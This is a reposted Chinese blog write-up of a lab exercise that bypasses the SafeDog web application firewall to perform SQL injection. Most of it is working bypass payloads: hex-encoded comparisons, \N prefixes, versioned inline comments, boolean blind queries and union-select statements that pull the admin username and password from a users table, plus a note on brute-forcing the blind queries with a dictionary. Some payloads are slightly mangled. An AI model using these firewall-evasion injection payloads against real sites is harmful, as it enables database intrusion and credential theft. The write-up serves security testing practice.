0


安全狗的沦陷

靶机搭建

成功部署靶机:web安全注入绕过靶机

内有:世界六大主机入侵检测系统之一的安全狗的部署

IP查询

物理机hosts绑定

浏览器访问

靶机搭建成功

正常注入语句会被拦截,可以开始绕过了

注入开始

判断对方中间件信息

判断注入点

输入正确账号,查看正确页面信息

试探

发现安全狗,开始绕过

中间字符通过

不会拦截,但是数据库识别不出来

这里的位置不同,会有不同结果

掺杂注释不通过

直接拦截

这里可以看到,这个安全狗对and、select、union等关键词都会进行拦截

对and进行编码测试通过

不会拦截,但是数据库识别不出来

大小写更改不通过

直接拦截

构建语句

vince'and 0x3a!=1#

成功绕过注入

总结

这里的拦截,是and与数字等式同时存在时,或者select、union任意一个单词存在,就会直接拦截

如vince'and 1!=2#,就会被拦截

而将1转换为acll码,则不会被拦截

vince'and 0x3a!=1#

这里解码0的ascll码为30,同样被拦截

vince'and unhex(30)=0#

vince'and unhex(30)!=1#

同样不拦截

这里总结,只要语句中没有数字等式1=1之类的,就不会被拦截

拥有注入点

出数据

两种方式,布尔型和联合查询

布尔型盲注

构造语句

vince'if(0x3a!=2,1,0)#

盲注可行性通过

开始判断库名

利用安全狗特性,构建第一个盲注语句

vince%27if(substr(database(),1,1)!='a',1,0)#

并查询

vince%27and if(substr(u/**/ser(),1,1)!='a',1,0)#

这里的并查询中,and被安全狗察觉并拦截

利用unicode编码绕过

利用\N绕过

构建语句

'\Nand(substr(u/**/ser() from 1 for 1)='r')#

vince'\Nand if(substr(u/**/ser(),1,1)='r',1,0)

通过大量的测试发现,and无法绕过,我们改用or,并将第一个语句置否

-1'\Nor if(substr(u/**/ser(),1,1)='r',1,0)

根本看不出来

这里多次测试后,发现根本不能使用user和database

所以再次更改使用version

?\Nor(substr(@@version from 1 for 1)=5)--+

通过

\Nor if(substr((/!select/ password from users limit 1) from 1 for 1)=5,1,0)

id=\Nor(substr((/!40000union/ password from users limit 1)from 1 for 1)=5)#

id=\Nor(substr((/!40000se%lect/ password from users limit 1)from 1 for 1)=5)#

整形绕过最终结果

?id=\Nor(substr((select password from users limit 1)from 1 for 1)='e')--+

字符型绕过最终结果

?name=vince'and 0x31!=if((substr((select password from users limit 1)from 2 for 1)='1'),0x30,0x31)--+

判断成功的页面

?name=vince'and 0x31!=if((substr((select password from users limit 1)from 2 for 1)='2'),0x30,0x31)--+

判断失败的页面

这就是布尔型判断的依据

穷举爆破

我们一般将自己写出来的语句,做成一个字典

设置变量

字典导入

调节并发性

得出结果

如果不行,只能手工测试

联合查询注入

爆库

构建语句

?name='and 0x30!=info()--+

库名为myp1

构建语句

?name=vince%27+union///--///select+1,(select+password+from+users+limit+1)--+

得到密码

联合查询语句最终结果

?name=vince%27+union///--///select+1,(select+concat(username,password)+from+users+limit+1)--+

绕过安全狗获得

账号admin

密码10adc3949bs59abbe56e057f20f883e

注意

语句结尾跟的注释符要留意,像这一次的镜像,用#就无法成功,用--+才可以成功绕过

标签: 安全

本文转载自: https://blog.csdn.net/qq_75121443/article/details/134400629
版权归原作者 白牧羊人 所有, 如有侵权,请联系我们删除。

“安全狗的沦陷”的评论:

还没有评论